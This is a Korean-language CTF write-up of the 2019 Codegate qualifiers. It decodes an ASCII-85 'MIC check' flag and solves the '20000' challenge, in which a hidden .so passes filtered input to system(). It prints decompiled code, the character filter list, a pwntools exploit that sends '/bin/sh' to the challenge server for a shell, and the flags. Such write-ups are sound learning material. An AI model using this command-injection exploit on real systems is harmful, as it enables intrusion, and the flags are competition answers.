2019 Codegate Quals Writeup

팀명 : 앙진헌띠

주니어부 23등

어쩌다 보니 본선에 가게되었다.. ㅎㅎ

MIC check

9P&;gFD,5.BOPCdBl7Q+@V’1dDK?qL 를 디코딩하라고 한다.

ASCII-85 디코딩 해주면 플래그가 나온다.

FLAG : Let the hacking begins ~


20000

nc 와 20000이라는 바이너리와 20000개의 .so파일이 주어진다.

20000 바이너리의 메인함수이다. 메인에서 1~20000까지 입력받는데 이 입력 받은 수의 라이브러리 파일을 불러와서 test 함수를 실행시켜준다. 그리고 쉘을 따면 될 거 같다.

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rax
  signed __int64 result; // rax
  void *v5; // rdi
  char *v6; // rax
  int input; // [rsp+Ch] [rbp-94h]
  void (__fastcall *v8)(void *, const char *); // [rsp+10h] [rbp-90h]
  void *handle; // [rsp+18h] [rbp-88h]
  char s; // [rsp+20h] [rbp-80h]
  int v11; // [rsp+80h] [rbp-20h]
  int v12; // [rsp+84h] [rbp-1Ch]
  unsigned __int64 v13; // [rsp+88h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  print_map();
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(&s, 0, 0x60uLL);
  v11 = 0;
  printf("INPUT : ", 0LL, &v12);
  __isoc99_scanf("%d", &input);
  if ( input <= 0 && input > 20000 )
  {
    printf("Invalid Input", &input);
    exit(-1);
  }
  sprintf(&s, "./20000_so/lib_%d.so", input);
  handle = dlopen(&s, 1);
  if ( handle )
  {
    v5 = handle;
    v8 = dlsym(handle, "test");
    if ( v8 )
    {
      v8(v5, "test");
      dlclose(handle);
      result = 0LL;
    }
    else
    {
      v6 = dlerror();
      fprintf(stderr, "Error: %s\n", v6);
      dlclose(handle);
      result = 1LL;
    }
  }
  else
  {
    v3 = dlerror();
    fprintf(stderr, "Error: %s\n", v3);
    result = 1LL;
  }
  return result;
}

하지만 문제가 20000개의 lib 파일에서 무슨 파일인지 알 수 없었다. 왜 20000개인지 알 거 같았다. 마지막 수정 일 순으로 정렬해보면 lib_17394.so 파일만 수정일이 오전 10시 37분이였다. 다른 .so파일들은 수정일이 오후 10시 33분이였다.

signed __int64 test()
{
  char *v0; // rax
  signed __int64 result; // rax
  char *v2; // rax
  void (__fastcall *v3)(char *, char *); // [rsp+0h] [rbp-B0h]
  void (__fastcall *v4)(char *); // [rsp+8h] [rbp-A8h]
  void *handle; // [rsp+10h] [rbp-A0h]
  void *v6; // [rsp+18h] [rbp-98h]
  char buf; // [rsp+20h] [rbp-90h]
  __int16 v8; // [rsp+50h] [rbp-60h]
  char s; // [rsp+60h] [rbp-50h]
  __int16 v10; // [rsp+90h] [rbp-20h]
  unsigned __int64 v11; // [rsp+98h] [rbp-18h]

  v11 = __readfsqword(0x28u);
  memset(&buf, 0, 0x30uLL);
  v8 = 0;
  memset(&s, 0, 0x30uLL);
  v10 = 0;
  handle = dlopen("./20000_so/lib_4323.so", 1);
  if ( handle )
  {
    v3 = dlsym(handle, "filter1");
    v6 = dlopen("./20000_so/lib_11804.so", 1);
    if ( v6 )
    {
      v4 = dlsym(v6, "filter2");
      puts("This is lib_17394 file.");
      puts("How do you find vulnerable file?");
      read(0, &buf, 0x32uLL);
      v3(&buf, &buf);
      v4(&buf);
      sprintf(&s, "%s 2 > /dev/null", &buf);
      system(&s);
      dlclose(handle);
      dlclose(v6);
      result = 0LL;
    }
    else
    {
      v2 = dlerror();
      fprintf(stderr, "Error: %s\n", v2);
      result = 0xFFFFFFFFLL;
    }
  }
  else
  {
    v0 = dlerror();
    fprintf(stderr, "Error: %s\n", v0);
    result = 0xFFFFFFFFLL;
  }
  return result;
}

lib_17394.so 를 보면 lib_4323.so 라이브러리의 fillter1을 실행시키고 lib_11804.so 라이브러리의 fillter2를 실행시켜준다. 그러면 이제 fillter만 우회해서 쉘을 따주면 될 거 같다. system(&s) 를 실행시켜주니까 저기에 쉘을 넣어주면 될 거 같다.

Exploit Code

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *

# testlib = CDLL('./c1e3a33d8932a4a61b0e0e0e49d6c9bc/20000_so/lib_17394.so')
"""
Filltering
; * | & $ ` > < v m p d f g l
r bash
"""
#p = process('././c1e3a33d8932a4a61b0e0e0e49d6c9bc/20000')
p = remote('110.10.147.106',15959)
print p.sendlineafter('INPUT :','17394')
print p.sendlineafter('How do you find vulnerable file?','/bin/sh')
p.interactive()

FLAG : Are_y0u_A_h@cker_in_real-word?